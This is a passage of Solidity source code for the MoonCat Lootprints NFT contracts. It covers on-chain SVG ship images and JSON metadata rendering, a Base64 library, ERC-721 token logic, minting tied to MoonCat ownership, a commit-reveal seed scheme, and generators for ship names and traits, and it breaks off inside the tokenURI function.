M63.26,21.92L63.26,21.92c-2.75,0-4.82,2.5-4.31,5.2 l3.33,17.61h1.97l3.33-17.61C68.09,24.42,66.01,21.92,63.26,21.92z M63.26,67.55L63.26,67.55c2.75,0,4.82-2.5,4.31-5.2l-3.33-17.61 h-1.97l-3.33,17.61C58.44,65.05,60.51,67.55,63.26,67.55z M-44.97,43.64L-44.97,43.64c0.76,0.76,1.99,0.76,2.75,0l6.36-6.36 c0.76-0.76,0.76-1.99,0-2.75l0,0c-0.76-0.76-1.99-0.76-2.75,0l-6.36,6.36C-45.72,41.65-45.72,42.88-44.97,43.64z M-34.82,43.64 L-34.82,43.64c0.76,0.76,1.99,0.76,2.75,0l6.36-6.36c0.76-0.76,0.76-1.99,0-2.75l0,0c-0.76-0.76-1.99-0.76-2.75,0l-6.36,6.36 C-35.58,41.65-35.58,42.88-34.82,43.64z M63.26,43.33h-7.74v2.81h7.74V43.33z\"/><path class=\"s\" d=\"M-71.47,62.75v15.73 M-65.61,62.75v22.93\"/> <path class=\"s s1\" d=\"M52.24,60.8l1.72,11.04l19.89,4.4v6.21L38.9,88.39c-8.09,1.37-15.55-4.68-15.87-12.88l-0.51-13.03 M51.24,28.2 L67.16,2.56l-80.25-3.16c-6.16-0.24-12.13,2.16-16.4,6.61l-16.03,16.69\"/><path class=\"s s1\" d=\"M3.89,39.09l39.03,1.83v13.24L3.89,55.98c-4.66,0-8.44-3.78-8.44-8.44C-4.56,42.87-0.78,39.09,3.89,39.09z M-42.74,31.11l-31.49-1.26c-5.73,0-10.75,3.81-12.3,9.33l-0.67,5.36h29.01L-42.74,31.11z M30.03,47.53L30.03,47.53 c0-1.07-0.87-1.94-1.94-1.94h-9c-1.07,0-1.94,0.87-1.94,1.94v0c0,1.07,0.87,1.94,1.94,1.94h9C29.16,49.47,30.03,48.6,30.03,47.53z\"/>", // Sub "<path class=\"s\" d=\"M-41.05,64.38H-76.3c-9.83,0-17.79-7.98-17.77-17.8l0.02-7.96l53-31.34V64.38z M-33.49,21.94v36.39l12.96,9.64 c7.01,5.22,15.52,8.03,24.26,8.03h50.54V7.29l-12-2.39C27.98,2.05,13.19,3.4-0.34,8.77L-33.49,21.94z\"/> <path class=\"s\" d=\"M-53.74,49.67l93.8-17.28 M-53.74,96.38h99.86 M-60.37,44.65L-60.37,44.65c0-1.07-0.87-1.94-1.94-1.94h-9 c-1.07,0-1.94,0.87-1.94,1.94v0c0,1.07,0.87,1.94,1.94,1.94h9C-61.24,46.59-60.37,45.72-60.37,44.65z M-60.37,37.78L-60.37,37.78 c0-1.07-0.87-1.94-1.94-1.94h-9c-1.07,0-1.94,0.87-1.94,1.94v0c0,1.07,0.87,1.94,1.94,1.94h9C-61.24,39.72-60.37,38.85-60.37,37.78 z M-33.49,26.33h-7.56v27.92h7.56V26.33z\"/><path class=\"s s1\" d=\"M-0.29,30.83v-9c0-1.07,0.87-1.94,1.94-1.94h0c1.07,0,1.94,0.87,1.94,1.94v9c0,1.07-0.87,1.94-1.94,1.94h0 C0.58,32.77-0.29,31.9-0.29,30.83z M1.47-0.14c-4.66,0-8.44,3.78-8.44,8.44l1.83,39.03H8.08L9.91,8.3 C9.91,3.64,6.13-0.14,1.47-0.14z\"/> <path class=\"s s1\" d=\"M42.26,32.38c-17.67,0-32,14.33-32,32s14.33,32,32,32s32-14.33,32-32S59.94,32.38,42.26,32.38z M42.26,89.98 c-14.14,0-25.6-11.46-25.6-25.6s11.46-25.6,25.6-25.6s25.6,11.46,25.6,25.6S56.4,89.98,42.26,89.98z M-51.74,49.57 c-12.93,0-23.4,10.48-23.4,23.41c0,12.93,10.48,23.4,23.4,23.4s23.4-10.48,23.4-23.4C-28.33,60.05-38.81,49.57-51.74,49.57z M-51.74,91.7c-10.34,0-18.72-8.38-18.72-18.72c0-10.34,8.38-18.72,18.72-18.72s18.72,8.38,18.72,18.72 C-33.01,83.32-41.4,91.7-51.74,91.7z M-46.35,29.02h-14.78l14.4-10.61L-46.35,29.02z M6.8,52.81H-3.49l1.16-5.47h7.96L6.8,52.81z M54.26,20.3l9-3v18.97l-9-3.28 M54.26,53.04l9-3v18.97l-9-3.28\"/>", // Tank "<path class=\"s\" d=\"M0.26,93.33h14.33c0,0-0.76-11.46-2.27-32s13.64-76.47,19.95-99.97s-2.52-60.03-32-60.03 s-38.31,36.54-32,60.03s21.46,79.43,19.95,99.97s-2.27,32-2.27,32H0.26\"/><path class=\"s\" d=\"M-12.9,76.57l-47.02,6.06l3.03-18.95l43.64-22.42 M-26.38-18.46l-9.09,14.31v19.33l14.78-10.8 M13.42,76.57 l47.02,6.06l-3.03-18.95L13.77,41.25 M21.22,4.37L36,15.17V-4.15l-9.09-14.31\"/><path class=\"s s1\" d=\"M-33.66,46.63l-1.83,39.03h-13.24l-1.83-39.03c0-4.66,3.78-8.44,8.44-8.44 C-37.44,38.18-33.66,41.96-33.66,46.63z M34.19,46.63l1.83,39.03h13.24l1.83-39.03c0-4.66-3.78-8.44-8.44-8.44 C37.97,38.18,34.19,41.96,34.19,46.63z\"/><path class=\"s s1\" d=\"M-19.18-74.83c1.04,1.8,0.95,17.15,3.03,27c1.51,7.14,4.01,15.92,2.38,18.14c-1.43,1.94-7.59,1.24-9.95-1.37 c-3.41-3.78-4.15-10.56-4.93-16.67C-30.13-59.39-22.35-80.31-19.18-74.83z M-37.94,85.66h-7.96l-1.16,5.47h10.28L-37.94,85.66z M-10.65,93.33l-1.33,8.05H0.26h12.24l-1.33-8.05 M0.26-34.67c0,0,1.82,0,6.12,0s7.45-32,7.04-43S9.28-88.66,0.26-88.66 s-12.75-0.01-13.16,10.99c-0.41,11,2.74,43,7.04,43S0.26-34.67,0.26-34.67z M19.71-74.83c-1.04,1.8-0.95,17.15-3.03,27 c-1.51,7.14-4.01,15.92-2.38,18.14c1.43,1.94,7.59,1.24,9.95-1.37c3.41-3.78,4.15-10.56,4.93-16.67 C30.65-59.39,22.88-80.31,19.71-74.83z M37.3,91.13h10.28l-1.16-5.47h-7.96L37.3,91.13z\"/>" // Cruiser ]; /** * @dev Render an SVG of a ship with the specified features. */ function getImage (uint256 lootprintId, uint8 classId, uint8 colorId, uint8 bays, string calldata shipName) public view returns (string memory) { string memory regStr = uint2str(lootprintId); string memory baysStr = uint2str(bays); string[15] memory parts; parts[0] = "<svg xmlns=\"http://www.w3.org/2000/svg\" preserveAspectRatio=\"xMinYMin meet\" viewBox=\"0 0 600 600\"><style> .s{fill:white;stroke:white;stroke-width:2;stroke-miterlimit:10;fill-opacity:0.1;stroke-linecap:round}.s1{fill-opacity:0.3}.s2{stroke-width:1}.t{ fill:white;font-family:serif;font-size:20px;}.k{font-weight:bold;text-anchor:end;fill:#ddd;}.n{font-size:22px;font-weight:bold;text-anchor:middle}.l{fill:none;stroke:rgb(230,230,230,0.5);stroke-width:1;clip-path:url(#c);}.r{fill:rgba(0,0,0,0.5);stroke:white;stroke-width:3;}.r1{stroke-width: 1} .a{fill:#FFFFFF;fill-opacity:0.1;stroke:#FFFFFF;stroke-width:2;stroke-miterlimit:10;}.b{fill:none;stroke:#FFFFFF;stroke-width:2;stroke-miterlimit:10;} .c{fill:#FFFFFF;fill-opacity:0.2;stroke:#FFFFFF;stroke-width:2;stroke-miterlimit:10;} .d{fill:#FFFFFF;fill-opacity:0.3;stroke:#FFFFFF;stroke-width:2;stroke-miterlimit:10;}</style><defs><clipPath id=\"c\"><rect width=\"600\" height=\"600\" /></clipPath></defs><rect width=\"600\" height=\"600\" fill=\""; parts[1] = color_codes[colorId]; parts[2] = "\"/><polyline class=\"l\" points=\"40,-5 40,605 80,605 80,-5 120,-5 120,605 160,605 160,-5 200,-5 200,605 240,605 240,-5 280,-5 280,605 320,605 320,-5 360,-5 360,605 400,605 400,-5 440,-5 440,605 480,605 480,-5 520,-5 520,605 560,605 560,-5 600,-5 600,605\" /><polyline class=\"l\" points=\"-5,40 605,40 605,80 -5,80 -5,120 605,120 605,160 -5,160 -5,200 605,200 605,240 -5,240 -5,280 605,280 605,320 -5,320 -5,360 605,360 605,400 -5,400 -5,440 605,440 605,480 -5,480 -5,520 605,520 605,560 -5,560 -5,600 605,600\" /><rect class=\"r\" x=\"10\" y=\"10\" width=\"580\" height=\"50\" rx=\"15\" /><rect class=\"l r r1\" x=\"-5\" y=\"80\" width=\"285\" height=\"535\" /><text class=\"t n\" x=\"300\" y=\"42\">"; parts[3] = shipName; parts[4] = "</text><text class=\"t k\" x=\"115\" y=\"147\">Reg:</text><text class=\"t\" x=\"125\" y=\"147\">#"; parts[5] = regStr; parts[6] = "</text><text class=\"t k\" x=\"115\" y=\"187\">Class:</text><text class=\"t\" x=\"125\" y=\"187\">"; parts[7] = class_names[classId]; parts[8] = "</text><text class=\"t k\" x=\"115\" y=\"227\">Color:</text><text class=\"t\" x=\"125\" y=\"227\">"; parts[9] = color_names[colorId]; parts[10] = "</text><text class=\"t k\" x=\"115\" y=\"267\">Bays:</text><text class=\"t\" x=\"125\" y=\"267\">"; parts[11] = baysStr; parts[12] = "</text><g transform=\"translate(440,440)scale(1.2)\">"; if (classId < 4) { parts[13] = ship_images[classId]; } parts[14] = "</g></svg>"; bytes memory svg0 = abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8]); bytes memory svg1 = abi.encodePacked(parts[9], parts[10], parts[11], parts[12], parts[13], parts[14]); return string(abi.encodePacked("data:image/svg+xml;base64,", Base64.encode(abi.encodePacked(svg0, svg1)))); } /** * @dev Encode a key/value pair as a JSON trait property, where the value is a numeric item (doesn't need quotes) */ function encodeAttribute(string memory key, string memory value) internal pure returns (string memory) { return string(abi.encodePacked("{\"trait_type\":\"", key,"\",\"value\":",value,"}")); } /** * @dev Encode a key/value pair as a JSON trait property, where the value is a string item (needs quotes around it) */ function encodeStringAttribute(string memory key, string memory value) internal pure returns (string memory) { return string(abi.encodePacked("{\"trait_type\":\"", key,"\",\"value\":\"",value,"\"}")); } /** * @dev Render a JSON metadata object of a ship with the specified features. */ function getJSON(uint256 lootprintId, uint8 classId, uint8 colorId, uint8 bays, string calldata shipName) public view returns (string memory) { string memory colorName = color_names[colorId]; string memory svg = getImage(lootprintId, classId, colorId, bays, shipName); bytes memory tokenName = abi.encodePacked("Lootprint #", uint2str(lootprintId), ": ", shipName); bytes memory json = abi.encodePacked("{", "\"attributes\":[", encodeAttribute("Registration #", uint2str(lootprintId)), ",", encodeStringAttribute("Class", class_names[classId]), ",", encodeAttribute("Bays", uint2str(bays)), ",", encodeStringAttribute("Color", colorName), "],\"name\":\"", tokenName, "\",\"description\":\"Build Plans for a MoonCat Spacecraft\",\"image\":\"", svg, "\"}"); return string(abi.encodePacked('data:application/json;base64,', Base64.encode(json))); } /* Utilities */ function uint2str(uint value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.8.1; interface IMoonCatAcclimator { function getApproved(uint256 tokenId) external view returns (address); function isApprovedForAll(address owner, address operator) external view returns (bool); function ownerOf(uint256 tokenId) external view returns (address); } interface IMoonCatRescue { function rescueOrder(uint256 tokenId) external view returns (bytes5); function catOwners(bytes5 catId) external view returns (address); } interface IReverseResolver { function claim(address owner) external returns (bytes32); } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } interface IMoonCatLootprintsMetadata { function getJSON(uint256 lootprintId, uint8 classId, uint8 colorId, uint8 bays, string calldata shipName) external view returns (string memory); function getImage(uint256 lootprintId, uint8 classId, uint8 colorId, uint8 bays, string calldata shipName) external view returns (string memory); function getClassName(uint8 classId) external view returns (string memory); function getColorName(uint8 classId) external view returns (string memory); } /** * @dev Derived from OpenZeppelin standard template * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/structs/EnumerableSet.sol * b0cf6fbb7a70f31527f36579ad644e1cf12fdf4e */ library EnumerableSet { struct Set { uint256[] _values; mapping (uint256 => uint256) _indexes; } function at(Set storage set, uint256 index) internal view returns (uint256) { return set._values[index]; } function contains(Set storage set, uint256 value) internal view returns (bool) { return set._indexes[value] != 0; } function length(Set storage set) internal view returns (uint256) { return set._values.length; } function add(Set storage set, uint256 value) internal returns (bool) { if (!contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } function remove(Set storage set, uint256 value) internal returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { uint256 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } } /** * @title MoonCat​Lootprints * @dev MoonCats have found some plans for building spaceships */ contract MoonCatLootprints is IERC165, IERC721Enumerable, IERC721Metadata { /* ERC-165 */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165) returns (bool) { return (interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId); } /* External Contracts */ IMoonCatAcclimator MCA = IMoonCatAcclimator(0xc3f733ca98E0daD0386979Eb96fb1722A1A05E69); IMoonCatRescue MCR = IMoonCatRescue(0x60cd862c9C687A9dE49aecdC3A99b74A4fc54aB6); IMoonCatLootprintsMetadata public Metadata; /* Name String Data */ string[4] internal honorifics = [ "Legendary", "Notorious", "Distinguished", "Renowned" ]; string[32] internal adjectives = [ "Turbo", "Tectonic", "Rugged", "Derelict", "Scratchscarred", "Purrfect", "Rickety", "Sparkly", "Ethereal", "Hissing", "Pouncing", "Stalking", "Standing", "Sleeping", "Playful", "Menancing", // Poor Steve. "Cuddly", "Neurotic", "Skittish", "Impulsive", "Sly", "Ponderous", "Prodigal", "Hungry", "Grumpy", "Harmless", "Mysterious", "Frisky", "Furry", "Scratchy", "Patchy", "Hairless" ]; string[15] internal mods = [ "Star", "Galaxy", "Constellation", "World", "Moon", "Alley", "Midnight", "Wander", "Tuna", "Mouse", "Catnip", "Toy", "Kibble", "Hairball", "Litterbox" ]; string[32] internal mains = [ "Lightning", "Wonder", "Toebean", "Whisker", "Paw", "Fang", "Tail", "Purrbox", "Meow", "Claw", "Scratcher", "Chomper", "Nibbler", "Mouser", "Racer", "Teaser", "Chaser", "Hunter", "Leaper", "Sleeper", "Pouncer", "Stalker", "Stander", "TopCat", "Ambassador", "Admiral", "Commander", "Negotiator", "Vandal", "Mischief", "Ultimatum", "Frolic" ]; string[16] internal designations = [ "Alpha", "Tau", "Pi", "I", "II", "III", "IV", "V", "X", "Prime", "Proper", "1", "1701-D", "2017", "A", "Runt" ]; /* Data */ bytes32[400] ColorTable; /* Structs */ struct Lootprint { uint16 index; address owner; } /* State */ using EnumerableSet for EnumerableSet.Set; address payable public contractOwner; bool public frozen = true; bool public mintingWindowOpen = true; uint8 revealCount = 0; uint256 public price = 50000000000000000; bytes32[100] NoChargeList; bytes32[20] revealBlockHashes; Lootprint[25600] public Lootprints; // lootprints by lootprintId/rescueOrder EnumerableSet.Set internal LootprintIdByIndex; mapping(address => EnumerableSet.Set) internal LootprintsByOwner; mapping(uint256 => address) private TokenApprovals; // lootprint id -> approved address mapping(address => mapping(address => bool)) private OperatorApprovals; // owner address -> operator address -> bool /* Modifiers */ modifier onlyContractOwner () { require(msg.sender == contractOwner, "Only Contract Owner"); _; } modifier lootprintExists (uint256 lootprintId) { require(LootprintIdByIndex.contains(lootprintId), "ERC721: operator query for nonexistent token"); _; } modifier onlyOwnerOrApproved(uint256 lootprintId) { require(LootprintIdByIndex.contains(lootprintId), "ERC721: query for nonexistent token"); address owner = ownerOf(lootprintId); require(msg.sender == owner || msg.sender == TokenApprovals[lootprintId] || OperatorApprovals[owner][msg.sender], "ERC721: transfer caller is not owner nor approved"); _; } modifier notFrozen () { require(!frozen, "Frozen"); _; } /* ERC-721 Helpers */ function setApprove(address to, uint256 lootprintId) private { TokenApprovals[lootprintId] = to; emit Approval(msg.sender, to, lootprintId); } function handleTransfer(address from, address to, uint256 lootprintId) private { require(to != address(0), "ERC721: transfer to the zero address"); setApprove(address(0), lootprintId); LootprintsByOwner[from].remove(lootprintId); LootprintsByOwner[to].add(lootprintId); Lootprints[lootprintId].owner = to; emit Transfer(from, to, lootprintId); } /* ERC-721 */ function totalSupply() public view override returns (uint256) { return LootprintIdByIndex.length(); } function balanceOf(address owner) public view override returns (uint256 balance) { return LootprintsByOwner[owner].length(); } function ownerOf(uint256 lootprintId) public view override returns (address owner) { return Lootprints[lootprintId].owner; } function approve(address to, uint256 lootprintId) public override lootprintExists(lootprintId) { address owner = ownerOf(lootprintId); require(to != owner, "ERC721: approval to current owner"); require(msg.sender == owner || isApprovedForAll(owner, msg.sender), "ERC721: approve caller is not owner nor approved for all"); setApprove(to, lootprintId); } function getApproved(uint256 lootprintId) public view override returns (address operator) { return TokenApprovals[lootprintId]; } function setApprovalForAll(address operator, bool approved) public override { require(operator != msg.sender, "ERC721: approve to caller"); OperatorApprovals[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function isApprovedForAll(address owner, address operator) public view override returns (bool) { return OperatorApprovals[owner][operator]; } function safeTransferFrom(address from, address to, uint256 lootprintId, bytes memory _data) public override onlyOwnerOrApproved(lootprintId) { handleTransfer(from, to, lootprintId); uint256 size; assembly { size := extcodesize(to) } if (size > 0) { try IERC721Receiver(to).onERC721Received(msg.sender, from, lootprintId, _data) returns (bytes4 retval) { if (retval != IERC721Receiver.onERC721Received.selector) { revert("ERC721: transfer to non ERC721Receiver implementer"); } } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } } function safeTransferFrom(address from, address to, uint256 lootprintId) public override { safeTransferFrom(from, to, lootprintId, ""); } function transferFrom(address from, address to, uint256 lootprintId) public override onlyOwnerOrApproved(lootprintId) { handleTransfer(from, to, lootprintId); } /* ERC-721 Enumerable */ function tokenByIndex(uint256 index) public view override returns (uint256) { return LootprintIdByIndex.at(index); } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return LootprintsByOwner[owner].at(index); } /* Reveal */ bool pendingReveal = false; uint256 revealPrepBlock; bytes32 revealSeedHash; /** * @dev How many lootprints are awaiting being revealed? */ function pendingRevealCount() public view returns (uint256) { uint256 numRevealed = revealCount * 2560; if (numRevealed > LootprintIdByIndex.length()) return 0; return LootprintIdByIndex.length() - numRevealed; } /** * @dev Start a reveal action. * The hash submitted here must be the keccak256 hash of a secret number that will be submitted to the next function */ function prepReveal(bytes32 seedHash) public onlyContractOwner { require(!pendingReveal && seedHash != revealSeedHash && revealCount < 20, "Prep Conditions Not Met"); revealSeedHash = seedHash; revealPrepBlock = block.number; pendingReveal = true; } /** * @dev Finalize a reveal action. * Must take place at least one block after the `prepReveal` action was taken */ function reveal(uint256 revealSeed) public onlyContractOwner{ require(pendingReveal && block.number > revealPrepBlock && keccak256(abi.encodePacked(revealSeed)) == revealSeedHash , "Reveal Conditions Not Met"); if (block.number - revealPrepBlock < 255) { bytes32 blockSeed = keccak256(abi.encodePacked(revealSeed, blockhash(revealPrepBlock))); revealBlockHashes[revealCount] = blockSeed; revealCount++; } pendingReveal = false; } /* Minting */ /** * @dev Is the minting of a specific rescueOrder needing payment or is it free? */ function paidMint(uint256 rescueOrder) public view returns (bool) { uint256 wordIndex = rescueOrder / 256; uint256 bitIndex = rescueOrder % 256; return (uint(NoChargeList[wordIndex] >> (255 - bitIndex)) & 1) == 0; } /** * @dev Create the token * Checks that the address minting is the current owner of the MoonCat, and ensures that MoonCat is Acclimated */ function handleMint(uint256 rescueOrder, address to) private { require(mintingWindowOpen, "Minting Window Closed"); require(MCR.catOwners(MCR.rescueOrder(rescueOrder)) == 0xc3f733ca98E0daD0386979Eb96fb1722A1A05E69, "Not Acclimated"); address moonCatOwner = MCA.ownerOf(rescueOrder); require((msg.sender == moonCatOwner) || (msg.sender == MCA.getApproved(rescueOrder)) || (MCA.isApprovedForAll(moonCatOwner, msg.sender)), "Not AMC Owner or Approved" ); require(!LootprintIdByIndex.contains(rescueOrder), "Already Minted"); Lootprints[rescueOrder] = Lootprint(uint16(LootprintIdByIndex.length()), to); LootprintIdByIndex.add(rescueOrder); LootprintsByOwner[to].add(rescueOrder); emit Transfer(address(0), to, rescueOrder); } /** * @dev Mint a lootprint, and give it to a specific address */ function mint(uint256 rescueOrder, address to) public payable notFrozen { if (paidMint(rescueOrder)) { require(address(this).balance >= price, "Insufficient Value"); contractOwner.transfer(price); } handleMint(rescueOrder, to); if (address(this).balance > 0) { // The buyer over-paid; transfer their funds back to them payable(msg.sender).transfer(address(this).balance); } } /** * @dev Mint a lootprint, and give it to the address making the transaction */ function mint(uint256 rescueOrder) public payable { mint(rescueOrder, msg.sender); } /** * @dev Mint multiple lootprints, sending them all to a specific address */ function mintMultiple(uint256[] calldata rescueOrders, address to) public payable notFrozen { uint256 totalPrice = 0; for (uint i = 0; i < rescueOrders.length; i++) { if (paidMint(rescueOrders[i])) { totalPrice += price; } handleMint(rescueOrders[i], to); } require(address(this).balance >= totalPrice, "Insufficient Value"); if (totalPrice > 0) { contractOwner.transfer(totalPrice); } if (address(this).balance > 0) { // The buyer over-paid; transfer their funds back to them payable(msg.sender).transfer(address(this).balance); } } /** * @dev Mint multiple lootprints, sending them all to the address making the transaction */ function mintMultiple(uint256[] calldata rescueOrders) public payable { mintMultiple(rescueOrders, msg.sender); } /* Contract Owner */ constructor(address metadataContract) { contractOwner = payable(msg.sender); Metadata = IMoonCatLootprintsMetadata(metadataContract); // https://docs.ens.domains/contract-api-reference/reverseregistrar#claim-address IReverseResolver(0x084b1c3C81545d370f3634392De611CaaBFf8148) .claim(msg.sender); } /** * @dev Mint the 160 Hero lootprint tokens, and give them to the contract owner */ function setupHeroShips(bool groupTwo) public onlyContractOwner { uint startIndex = 25440; if (groupTwo) { startIndex = 25520; } require(Lootprints[startIndex].owner == address(0), "Already Set Up"); for (uint i = startIndex; i < (startIndex+80); i++) { Lootprints[i] = Lootprint(uint16(LootprintIdByIndex.length()), contractOwner); LootprintIdByIndex.add(i); LootprintsByOwner[contractOwner].add(i); emit Transfer(address(0), contractOwner, i); } } /** * @dev Update the contract used for image/JSON rendering */ function setMetadataContract(address metadataContract) public onlyContractOwner{ Metadata = IMoonCatLootprintsMetadata(metadataContract); } /** * @dev Set configuration values for which MoonCat creates which color lootprint when minted */ function setColorTable(bytes32[] calldata table, uint startAt) public onlyContractOwner { for (uint i = 0; i < table.length; i++) { ColorTable[startAt + i] = table[i]; } } /** * @dev Set configuration values for which MoonCats need to pay for minting a lootprint */ function setNoChargeList (bytes32[100] calldata noChargeList) public onlyContractOwner { NoChargeList = noChargeList; } /** * @dev Set configuration values for how much a paid lootprint costs */ function setPrice(uint256 priceWei) public onlyContractOwner { price = priceWei; } /** * @dev Allow current `owner` to transfer ownership to another address */ function transferOwnership (address payable newOwner) public onlyContractOwner { contractOwner = newOwner; } /** * @dev Prevent creating lootprints */ function freeze () public onlyContractOwner notFrozen { frozen = true; } /** * @dev Enable creating lootprints */ function unfreeze () public onlyContractOwner { frozen = false; } /** * @dev Prevent any further minting from happening * Checks to ensure all have been revealed before allowing locking down the minting process */ function permanentlyCloseMintingWindow() public onlyContractOwner { require(revealCount >= 20, "Reveal Pending"); mintingWindowOpen = false; } /* Property Decoders */ function decodeColor(uint256 rescueOrder) public view returns (uint8) { uint256 wordIndex = rescueOrder / 64; uint256 nibbleIndex = rescueOrder % 64; bytes32 word = ColorTable[wordIndex]; return uint8(uint(word >> (252 - nibbleIndex * 4)) & 15); } function decodeName(uint32 seed) internal view returns (string memory) { seed = seed >> 8; uint index; string[9] memory parts; //honorific index = seed & 15; if (index < 8) { parts[0] = "The "; if (index < 4) { parts[1] = honorifics[index]; parts[2] = " "; } } seed >>= 4; //adjective if ((seed & 1) == 1) { index = (seed >> 1) & 31; parts[3] = adjectives[index]; parts[4] = " "; } seed >>= 6; //mod index = seed & 15; if (index < 15) { parts[5] = mods[index]; } seed >>= 4; //main index = seed & 31; parts[6] = mains[index]; seed >>= 5; //designation if ((seed & 1) == 1) { index = (seed >> 1) & 15; parts[7] = " "; parts[8] = designations[index]; } return string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); } function decodeClass(uint32 seed) internal pure returns (uint8) { uint class_determiner = seed & 15; if (class_determiner < 2) { return 0; } else if (class_determiner < 5) { return 1; } else if (class_determiner < 9) { return 2; } else { return 3; } } function decodeBays(uint32 seed) internal pure returns (uint8) { uint bay_determiner = (seed >> 4) & 15; if (bay_determiner < 3) { return 5; } else if (bay_determiner < 8) { return 4; } else { return 3; } } uint8 constant internal STATUS_NOT_MINTED = 0; uint8 constant internal STATUS_NOT_MINTED_FREE = 1; uint8 constant internal STATUS_PENDING = 2; uint8 constant internal STATUS_MINTED = 3; /** * @dev Get detailed traits about a lootprint token * Provides trait values in native contract return values, which can be used by other contracts */ function getDetails (uint256 lootprintId) public view returns (uint8 status, string memory class, uint8 bays, string memory colorName, string memory shipName, address tokenOwner, uint32 seed) { Lootprint memory lootprint = Lootprints[lootprintId]; colorName = Metadata.getColorName(decodeColor(lootprintId)); tokenOwner = address(0); if (LootprintIdByIndex.contains(lootprintId)) { if (revealBlockHashes[lootprint.index / 1280] > 0) { seed = uint32(uint256(keccak256(abi.encodePacked(lootprintId, revealBlockHashes[lootprint.index / 1280])))); return (STATUS_MINTED, Metadata.getClassName(decodeClass(seed)), decodeBays(seed), colorName, decodeName(seed), lootprint.owner, seed); } status = STATUS_PENDING; tokenOwner = lootprint.owner; } else if (paidMint(lootprintId)) { status = STATUS_NOT_MINTED; } else { status = STATUS_NOT_MINTED_FREE; } return (status, "Unknown", 0, colorName, "?", tokenOwner, 0); } /* ERC-721 Metadata */ function name() public pure override returns (string memory) { return "MoonCatLootprint"; } function symbol() public pure override returns (string memory) { return unicode"📜"; } function tokenURI(uint256 lootprintId) public view override lootprintExists(lootprintId) returns (string memory) { Lootprint memory lootprint = Lootprints[lootprintId]; uint8 colorId = decodeColor(lootprintId); if (revealBlockHashes[lootprint.index / 1280] > 0) { uint32 seed = uint32(uint256(keccak256(abi.encodePacked(lootprintId, revealBlockHashes[lootprint.index / 1280])))); uint8 classId = decodeClass(seed); string memory shipName = decodeName(seed); 